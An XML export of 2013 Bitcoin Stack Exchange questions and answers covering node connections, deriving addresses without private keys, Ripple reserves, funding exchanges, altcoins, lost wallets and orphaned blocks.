  <row Id="8140" PostTypeId="2" ParentId="8109" CreationDate="2013-03-05T10:27:01.880" Score="23" Body="&lt;p&gt;Bitcoin by default will not make more than 8 outgoing connections, and &lt;code&gt;-maxconnections&lt;/code&gt; only controls how many incoming connections you allow. Feel free to set this higher, but it will take time before others connect to you in large numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please don't change this, as there is no need.&lt;/strong&gt; Connectable peers on the network are a scarce resource, and essential to the decentralization. If people go try connect to all of them like some sites do, we'll very quickly run out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you're a merchant or miner, you perhaps want to set up a few fixed connections to trusted others (see the &lt;code&gt;-addnode&lt;/code&gt; command line/config option), but having more connections does not mean stronger verification (the reference client always verifies everything) or even faster relaying (as you'll slow down by distributing new blocks and transactions to all your peers). It is mostly a matter of providing a service to the network.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2017-04-10T06:10:24.047" LastActivityDate="2017-04-10T06:10:24.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8141" PostTypeId="2" ParentId="8137" CreationDate="2013-03-05T11:15:12.777" Score="0" Body="&lt;p&gt;I don't really understand what you're asking, but I think the answer is no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In every such scheme, there would be two pieces of information - a secret part/key, and a public address. You can split the secret key to n pieces (multisig), and the implementation of this is underway, but the basic observation remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if the private key is leaked, the bitcoins are spendable. If you need to receive bitcoins on a system without the ability to spend them, just delete the private key from that system, and only keep it elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-03-05T11:15:12.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8142" PostTypeId="1" AcceptedAnswerId="78284" CreationDate="2013-03-05T11:17:53.677" Score="7" ViewCount="3089" Body="&lt;p&gt;Suppose you have a possibly compromised system, which you do not trust enough to stores your private keys on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some process where you can generate unique bitcoin addresses within the system, that does not contain a private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a web server that clients use to make orders. You want to create a unique bitcoin address per purchase. In addition, you don't want the server to contain your bitcoin private keys - an attacker gaining access to the server shouldn't be able to touch your bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2013-03-05T14:19:42.600" LastActivityDate="2021-11-13T08:47:56.667" Title="Can you generate bitcoin addresses without storing a private key?" Tags="|address|" AnswerCount="7" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8143" PostTypeId="2" ParentId="8142" CreationDate="2013-03-05T11:18:34.673" Score="0" Body="&lt;p&gt;I believe multisig can be used to implement this - keep only one part of the pair on the system, and use it to generate addresses. I don't know whether multisig support exists in the popular packages implementing bitcoin, but it's one direction that would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll only be able to spend them using both keys, which are stored only on the secure system.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2013-03-05T15:16:36.297" LastActivityDate="2013-03-05T15:16:36.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8144" PostTypeId="2" ParentId="7868" CreationDate="2013-03-05T13:59:59.097" Score="4" Body="&lt;p&gt;In next deploy client will save used currencies and suggest them :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/rippleFoundation/ripple-client/commit/77a11af31bf44875f19935ed9ea6fa8e2c412602&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rippleFoundation/ripple-client/commit/77a11af31bf44875f19935ed9ea6fa8e2c412602&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/rippleFoundation/ripple-client/commit/1a44e94844d6948d103e31c6121dcb71d5b65ef1&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rippleFoundation/ripple-client/commit/1a44e94844d6948d103e31c6121dcb71d5b65ef1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update: the change is already live.&lt;/p&gt;&#xA;" OwnerUserId="3163" LastEditorUserId="3163" LastEditDate="2014-06-13T23:43:28.937" LastActivityDate="2014-06-13T23:43:28.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8145" PostTypeId="2" ParentId="8122" CreationDate="2013-03-05T14:43:52.167" Score="1" Body="&lt;p&gt;Namecoin has a bunch of issues, e.g. it is missing several improvements that Bitcoin got. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real problem is that nobody has found a way to use it (general data storage) in a way that many people considered useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;a href=&quot;http://namecoin.info&quot; rel=&quot;nofollow&quot;&gt;http://namecoin.info&lt;/a&gt; and in the wiki you can find plenty of suggestions for use cases. If you can find one and implement it and it takes off than Namecoin might gain strength as a whole, too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My latest idea: selling links (no external communication necessary: you pay and receive back a name containing a message encrypted with the public key of the address you payed from)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As many of the other use cases it would be mostly useful for illegal stuff, that's why I am hesitant to go for it.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-03-05T14:43:52.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8146" PostTypeId="2" ParentId="8112" CreationDate="2013-03-05T14:59:55.113" Score="6" Body="&lt;p&gt;The ledger chain stores all transactions. So yes, you can rebuild the transaction history.&#xA;But the validators don't need to store or serve the whole chain to operate. A new validator only needs the last closed ledger to validate new transactions.&#xA;This is different from bitcoin, where nodes need the last output of the relevant public key to validate a new transaction (and that last output won't necessarily be on the last block).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory the ledger chain could be forgotten, as validators don't need the history, but probably some &quot;history storage&quot; services ala blockexplorer.com will appear. Some validators can find it useful to store the whole history too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it's not really necessary for the network to work, I'm not sure what happens if a server doesn't serve the ledger history, but I would say the RPC call useful to query the history is this one: &lt;a href=&quot;https://ripple.com/wiki/RPC_API#ledger_entry&quot;&gt;https://ripple.com/wiki/RPC_API#ledger_entry&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="192" LastEditDate="2013-03-05T15:35:59.170" LastActivityDate="2013-03-05T15:35:59.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8147" PostTypeId="2" ParentId="8105" CreationDate="2013-03-05T15:08:13.700" Score="1" Body="&lt;p&gt;Every entry in the state tree of the ledger requires 12.5 XRP reserve, it doesn't matter if it's a trade offer or a trust-line. When the entry disappears from the ledger (by getting filled or being canceled), the reserves can be moved again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only exception is the account entry, which requires 50 XRP instead of 12.5 XRP and is perpetual (because accounts cannot be deleted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://ripple.com/wiki/Reserves&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Reserves&lt;/a&gt; for details and the current reserve requirements (they can and have changed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not related with the field TakerGets of the message OfferCreate.&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="3364" LastEditDate="2013-05-12T00:10:12.753" LastActivityDate="2013-05-12T00:10:12.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8148" PostTypeId="2" ParentId="8142" CreationDate="2013-03-05T16:03:15.887" Score="2" Body="&lt;p&gt;You should generate the keys in a secured environment and then move only the public parts to the server which you don't trust. Keep the private ones secured - you need these for spending.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2013-03-05T16:03:15.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8149" PostTypeId="1" AcceptedAnswerId="8151" CreationDate="2013-03-05T16:13:27.350" Score="2" ViewCount="1218" Body="&lt;p&gt;[Update: In July, 2013 CurrencyFair has stopped allowing &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1jcjtm/statement_from_currencyfair_regarding_them/&quot; rel=&quot;nofollow&quot;&gt;delivery of funds to any Bitcoin exchanges&lt;/a&gt;.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add funds to my &lt;a href=&quot;http://currencyfair.com&quot; rel=&quot;nofollow&quot;&gt;CurrencyFair&lt;/a&gt; account via a bank transfer from a number of countries.  This will be a convenient method if I can then send those converted funds as a bank wire transfer to a Bitcoin exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TransferWise used to allow me to do the same thing, but then stopped after their banking partners &quot;&lt;a href=&quot;http://transferwise.com/blog/2013-04/notice-to-bitcoin-users-april-2013&quot; rel=&quot;nofollow&quot;&gt;weren't comfortable with Bitcoin&lt;/a&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any exchanges which allow this?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-07-30T21:10:23.890" LastActivityDate="2013-07-30T21:10:23.890" Title="Which exchanges allow me to transfer funds from my CurrencyFair account?" Tags="|exchanges|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8150" PostTypeId="2" ParentId="8142" CreationDate="2013-03-05T16:14:26.313" Score="2" Body="&lt;p&gt;Multisig can be used for it, but is overkill and requires P2SH to be usable as phrased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you do need has been sometimes referred to as &quot;EC magic&quot;. Both private keys and public keys are a sort of numbers which can be added, and the public key corresponding to the sum of private keys is the sum of public keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the secure server you'll have a private key d1. The insecure server will have the corresponding public key P1, and for every customer it will generate a private key d2 and corresponding P2. The public key is P1+P2; d2 can be sent to the secure server, which will calculate the private key d1+d2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Schemes based on multiplication rather than addition are also possible.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-03-05T16:14:26.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8151" PostTypeId="2" ParentId="8149" CreationDate="2013-03-05T16:17:55.990" Score="2" Body="&lt;p&gt;Not all bank wire transfers contain the same information so this may vary based on which bank wire network is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, CurrencyFair may function as a method to add funds from a UK account (GBP) using a bank wire and then after conversion to EUR make a withdraw as a SEPA wire transfer to &lt;a href=&quot;http://bitstamp.net&quot; rel=&quot;nofollow&quot;&gt;BITSTAMP.net&lt;/a&gt;, or &lt;a href=&quot;http://mtgox.com&quot; rel=&quot;nofollow&quot;&gt;Mt. Gox&lt;/a&gt;, and any other exchange that accepts SEPA transfers.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-04-23T19:28:01.263" LastActivityDate="2013-04-23T19:28:01.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8152" PostTypeId="2" ParentId="5364" CreationDate="2013-03-05T16:41:23.647" Score="3" Body="&lt;p&gt;In the U.S. there is the ACH bank network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coinbase.com&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt; is currently the only service allowing bitcoin purchases to be paid for with a transfer from a bank using the ACH network directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mt. Gox and Camp BX use Dwolla which is an intermediary which allows funds to be drawn from a bank account through the ACH network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unaware of any exchanges whose policy is that it will accept a domestic or international bank wire without that coming from your own account.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-05T16:41:23.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8153" PostTypeId="2" ParentId="8114" CreationDate="2013-03-05T16:47:19.393" Score="6" Body="&lt;p&gt;In addition to Lohoris's answer, the reason that &lt;strong&gt;litecoin&lt;/strong&gt; was created was to be as resistant to &lt;em&gt;custom built hardware&lt;/em&gt; just for mining the coins, it uses &lt;a href=&quot;http://www.tarsnap.com/scrypt.html&quot;&gt;scrypt&lt;/a&gt; as its cryptographic function. Scrypt was specifically designed to make it as expensive as possible to create hardware that is specifically good at doing that hash function. I personally like this because I do not like the idea of buying hardware that can only do SHA-256 to mine cryptocoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;a href=&quot;http://www.tarsnap.com/scrypt.html&quot;&gt;ppcoin (pdf warning)&lt;/a&gt; which is aimed at not relying on constantly using electricity to keep the network secure. In this way it is very distinct from bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastEditorUserId="2630" LastEditDate="2013-03-06T01:06:40.220" LastActivityDate="2013-03-06T01:06:40.220" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8154" PostTypeId="2" ParentId="8084" CreationDate="2013-03-05T17:33:07.053" Score="6" Body="&lt;p&gt;To submit a valid block to the block chain you don't use the hash, just the block. That's the block header plus the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use bitcoind's submitblock RPC call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; bitcoind help submitblock&#xA;submitblock &amp;lt;hex data&amp;gt; [optional-params-obj]&#xA;[optional-params-obj] parameter is currently ignored.&#xA;Attempts to submit new block to network.&#xA;See https://en.bitcoin.it/wiki/BIP_0022 for full specification.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you hex encode the block and send it as lone parameter to submitblock. That's all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the help text says, &lt;code&gt;submitblock&lt;/code&gt; is further documented in &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0022&quot; rel=&quot;noreferrer&quot;&gt;BIP22&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-03-05T17:33:07.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8155" PostTypeId="2" ParentId="8115" CreationDate="2013-03-05T17:39:55.570" Score="5" Body="&lt;p&gt;Sure, you can use your own blocks to send transactions instead of spreading them out on the peer-to-peer network and let anyone include them in their blocks (may require fees).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upside as you say is that you can save on fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside is that it can sometimes be a long wait, even for a big pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still could be a good idea to offer these payouts for free, and if you want your coins faster, you have to pay a fee.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-03-05T17:39:55.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8156" PostTypeId="2" ParentId="2746" CreationDate="2013-03-05T20:24:18.263" Score="3" Body="&lt;p&gt;Why not using Bitcurex card?&lt;br&gt;&#xA;It's the cheapest and most anonymous way. For 5000 USD you would need 2 cards only, and you don't have to sign for the shipping for two cards.&lt;br&gt;&#xA;With a bit of searching you can even load it through an &lt;a href=&quot;http://en.wikipedia.org/wiki/International_Bank_Account_Number&quot; rel=&quot;nofollow&quot;&gt;IBAN&lt;/a&gt; account from different exchanges, not just Bitcurex. (a bit of searching required)&lt;br&gt;&#xA;I'm using them all the time and I'm very happy with them.&lt;/p&gt;&#xA;" OwnerUserId="3168" LastEditorUserId="2306" LastEditDate="2013-03-06T00:14:16.670" LastActivityDate="2013-03-06T00:14:16.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8157" PostTypeId="2" ParentId="8017" CreationDate="2013-03-05T20:45:03.500" Score="3" Body="&lt;p&gt;The present algorithm for public-key/private key cryptogrophy won't survive the invention of quantum computers. It will likely be deprcated in a few decades. If you don't update at that point people with quantum computer will be able to calculate your private key and spend your coins. &lt;/p&gt;&#xA;" OwnerUserId="216" LastActivityDate="2013-03-05T20:45:03.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8158" PostTypeId="2" ParentId="8114" CreationDate="2013-03-05T21:37:26.853" Score="4" Body="&lt;p&gt;The reason many people are trying different types of currencies is that Bitcoin not just a generic coin. It has certain properties built in such as only 21,000,000 ever existing, the 10 minutes taken to confirm a transaction, halving the production rate and importantly the initial distribution been given to miners. Many people like the concept of Bitcoin but disagree with one or more of the above properties and the only way to get around those properties is to create a new currency (or at least fork Bitcoin).&lt;/p&gt;&#xA;" OwnerUserId="2349" LastActivityDate="2013-03-05T21:37:26.853" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8160" PostTypeId="2" ParentId="8114" CreationDate="2013-03-05T23:17:30.283" Score="-1" Body="&lt;p&gt;This is the same reason Burger King exists when there is a Mcdonalds on every corner. &lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2013-03-05T23:17:30.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8161" PostTypeId="2" ParentId="7621" CreationDate="2013-03-05T23:59:06.763" Score="10" Body="&lt;p&gt;This question actually gets at the fundamental nature of Ripple. Ripple is essentially an online P2P implementation of free banking. Free banking is somewhat similar to how banking worked in the United States for much of the 19th Century (with a few major caveats) prior to the Federal Reserve and FDIC systems, and indeed back then banks would sometimes just vanish overnight. Because of this, banks went to great lengths to emphasize their trustworthiness; for example in my neighborhood in Brooklyn the Williamsburgh Savings bank built a colossal structure (&lt;a href=&quot;http://farm4.static.flickr.com/3370/3597562434_d456b0192d_b.jpg&quot;&gt;exterior&lt;/a&gt;, &lt;a href=&quot;http://nyunplugged.files.wordpress.com/2012/06/img_20120627_1229101.jpg&quot;&gt;interior&lt;/a&gt;), basically as a way of signaling they were in it for the long haul. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly, bills of exchange (that is, IOUs) were also broadly traded at the time, and of course are a major feature of Ripple (more explanation &lt;a href=&quot;http://jpkoning.blogspot.com/2013/02/ripple-or-bills-of-exchange-20.html&quot;&gt;here&lt;/a&gt;). In a fundamental way, free banking (and Ripple) seek to build a banking system on trust among parties without relying on promises from a centralized authority such as a government or central bank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free banking is a popular idea among Austrian economists because it would be a way of removing government intervention from the currency and banking sectors. You can read more about it on &lt;a href=&quot;https://en.wikipedia.org/wiki/Free_banking&quot;&gt;Wikipedia&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3167" LastActivityDate="2013-03-05T23:59:06.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8163" PostTypeId="2" ParentId="8142" CreationDate="2013-03-06T02:29:10.953" Score="2" Body="&lt;p&gt;Electrum seedless wallets for a desktop &lt;a href=&quot;http://electrum.org&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org&lt;/a&gt; and Electrum POS system for servers &lt;a href=&quot;https://github.com/kangasbros/electrumpos&quot; rel=&quot;nofollow&quot;&gt;https://github.com/kangasbros/electrumpos&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For desktop is really easy to setup, just restore from your Master Public Key and you'll get a seedless wallet without private keys but with the privilege of creating new addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For servers you need to install Electrum pos system, see it in action here &lt;a href=&quot;http://acceptbit.com&quot; rel=&quot;nofollow&quot;&gt;http://acceptbit.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-03-06T02:29:10.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8164" PostTypeId="1" AcceptedAnswerId="8165" CreationDate="2013-03-06T03:27:11.477" Score="0" ViewCount="271" Body="&lt;p&gt;Bitcoin will eventually be capped at 21,000,000 Bitcoins, but what happens to all the wallets that are lost? I'm sure thousands of BTC are already as good as destroyed. Even if there weren't millions of USD being printed consistently, they would still print not only new money to replace the old, but also to account for destroyed bills. Would replenishing the supply of lost currency be possible in Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="1551" LastEditorUserId="5406" LastEditDate="2014-06-17T14:40:54.180" LastActivityDate="2014-06-17T14:40:54.180" Title="Accounting for currency destroyed in lost wallets?" Tags="|protocol|reward-schedule|destroy-bitcoins|shrinking-money-supply|" AnswerCount="1" CommentCount="2" ClosedDate="2013-03-06T10:13:34.877" ContentLicense="CC BY-SA 3.0" />
  <row Id="8165" PostTypeId="2" ParentId="8164" CreationDate="2013-03-06T03:51:50.083" Score="1" Body="&lt;p&gt;Bitcoins can be divided up infinitely. So if there was just one bitcoin left (the rest are lost) then there can still be a viable economy with fractions of bitoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lost wallets are only a problem for the people who lost them, not for bitcoin. It would of course limit supply and push the the cost of bitcoins versus other currencies.&lt;/p&gt;&#xA;" OwnerUserId="3177" LastActivityDate="2013-03-06T03:51:50.083" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8166" PostTypeId="1" CreationDate="2013-03-06T04:47:22.450" Score="2" ViewCount="280" Body="&lt;p&gt;Bitcoin is subject to high volatility with little means of hedging. The available ways of hedging being to be short or buy puts on VERY ILLIQUID exchanges that contain no market participants, no market makers, or any order book depth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;could a hedged bitcoin fund with redeemable shares act as a stabilized security?&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This, of course, creates a quasi-central banker role, where proper management can lead to stability, but proper management may not always be. But it is more inline with commodity hedging, where a producer (of crops for instance), hedges his output with futures. Such a quasi-hybrid role being fit for a quasi-commodity currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, an Exchange Traded Fund (ETF) or Exchange Traded Notes (ETN) can be created on existing exchanges. Securitization is practically the wild west even amongst the myriad of regulators, making the leverage and hedging possibilities endless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, thoughts on why this would or would not work for bitcoin as the underlying asset?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;proper tags: securitization, securities, etf, etn, hedging&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="5406" LastEditDate="2017-03-11T10:45:36.933" LastActivityDate="2017-03-11T10:45:36.933" Title="is bitcoin stability by securitization possible?" Tags="|price-volatility|bitcoin-etf|securities|" AnswerCount="1" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8168" PostTypeId="1" CreationDate="2013-03-06T08:00:26.040" Score="0" ViewCount="1235" Body="&lt;p&gt;I lost my bitcoin wallet password, it was stored on a USB and I've lost the usb. Luckily I have a backup of my wallet. Are there any way possible I can get my coins back? Is there a bitcoin wallet cracker available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the version was bitcoin-qt 0.50, I've heard there may be vulnerabilities in the code that could be able to get my coins back?&lt;/p&gt;&#xA;" OwnerUserId="3180" LastActivityDate="2013-03-06T10:54:06.877" Title="Lost my wallet password. Is there anything I can do?" Tags="|client|bitcoin-core|" AnswerCount="1" CommentCount="0" ClosedDate="2013-03-06T23:56:56.037" ContentLicense="CC BY-SA 3.0" />
  <row Id="8169" PostTypeId="1" AcceptedAnswerId="8180" CreationDate="2013-03-06T08:58:24.893" Score="7" ViewCount="463" Body="&lt;p&gt;Bitcoin-Qt is getting require large and is taking up over 10% of the space on my little laptop. Looking for an alternative, I saw &lt;a href=&quot;http://electrum.org/&quot;&gt;Electrum&lt;/a&gt;. I downloaded the app and I'm able to connect to a server, but I'm wondering: &lt;strong&gt;what would the security implications be of not connecting to your own server&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2015-05-04T19:33:09.783" Title="What are the security implications of not hosting your own Electrum server?" Tags="|electrum|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8170" PostTypeId="2" ParentId="1449" CreationDate="2013-03-06T09:58:20.543" Score="1" Body="&lt;p&gt;it compiles nice with later versions but be carefull and do not mix up db*-dev and db*++-dev.&#xA;Here you have to install the &quot;++&quot; version&lt;/p&gt;&#xA;" OwnerUserId="3183" LastActivityDate="2013-03-06T09:58:20.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8171" PostTypeId="2" ParentId="8136" CreationDate="2013-03-06T10:12:58.700" Score="1" Body="&lt;p&gt;If you are looking for actual input scripts then the answer is simple: if there are &lt;code&gt;n&lt;/code&gt; outputs being claimed then there are exactly &lt;code&gt;n&lt;/code&gt; distinct scripts that are used exactly once. This is because each script includes a signature for a particular output that is being claimed, and they should be unique (that is excluding random collision, which are extremely unlikely).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for output scripts then the number of distinct scripts is likely to be the number of addresses that received an incoming transaction, as they contain the addresses that may claim the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is ofcourse just for the standard transactions in which you put up a claiming condition by requiring a single signature from an address and then provide the matching signature when claiming it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More interesting could be the number of distinct script formats. That is counting the unique types of scripts, for example by just replacing all signatures and hashes with a placeholder and then counting them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know blockchain.info does not currently offer such a functionality, but they might be interested to include it.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-03-06T10:12:58.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8172" PostTypeId="1" AcceptedAnswerId="8174" CreationDate="2013-03-06T10:43:37.373" Score="50" ViewCount="25047" Body="&lt;p&gt;The process of mining as described in the answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8031/what-are-bitcoin-miners-really-solving&quot;&gt;this question&lt;/a&gt; is simultaneously repeated by multiple miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for two miners to find the next block at the same instant? If it is, what happens if they do?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="5406" LastEditDate="2023-10-20T17:26:02.340" LastActivityDate="2023-10-20T17:26:02.340" Title="What happens if two miners mine the next block at the same time?" Tags="|mining-theory|blockchain-fork|consensus|best-chain|stale-block|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8173" PostTypeId="2" ParentId="8168" CreationDate="2013-03-06T10:54:06.877" Score="1" Body="&lt;p&gt;Are you saying you still have a backup of the wallet.dat file ? If so, did you secured your bitcoin-qt 0.50 with a passphrase ? If not, install the latest version of bitcoin-qt, start the program once, exit it after it has appeared on your screen, and replace the wallet.dat file that has been created with the backup. Then restart bitcoin-qt and wait till the blockchain has been completely downloaded. This could take hours, but your BTC should appear again.&lt;/p&gt;&#xA;" OwnerUserId="3185" LastActivityDate="2013-03-06T10:54:06.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8174" PostTypeId="2" ParentId="8172" CreationDate="2013-03-06T11:17:23.587" Score="34" Body="&lt;p&gt;Yes, it is possible, and you can actually follow &quot;orphaned blocks&quot; here: &lt;a href=&quot;https://blockchain.info/orphaned-blocks&quot;&gt;https://blockchain.info/orphaned-blocks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin clients always trust the longest chain, so if two blocks is mined on the same time, it's up to (51% of) the miners to decide which is going to be 'accepted' and which is going to be worthless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one of the reasons why you shouldn't trust only a few confirms, as the confirms could be a orphaned blockchain. After &quot;enough&quot; confirms, everyone will mine on the &quot;correct&quot; blockchain, because any work(mining) on a orphaned blockchain is waste of power (unless your trying to perform a 51% attack).&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-03-06T11:17:23.587" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8175" PostTypeId="1" CreationDate="2013-03-06T14:53:43.687" Score="3" ViewCount="438" Body="&lt;p&gt;Is there any way to measure how much stored value is in Ripple at any given moment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that that people who are risk averse won't store cash in Ripple for long periods of time, and will redeem their IOUs right away.  Since the nature of transactions is for someone to &quot;pay later&quot; that makes me think there will always be stored value in the system.  Based on that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How many IOUs (outstanding debt) has been issued at a given time? (stored value)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the average duration of a transaction (network wide, per gateway, etc)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I query for this data in raw format (or graphically)?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-03-13T02:28:31.890" LastActivityDate="2013-03-20T20:56:08.880" Title="How can I measure outstanding debt? How much &quot;stored value&quot; is in Ripple at any given moment?" Tags="|ripple|ripple-gateways|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
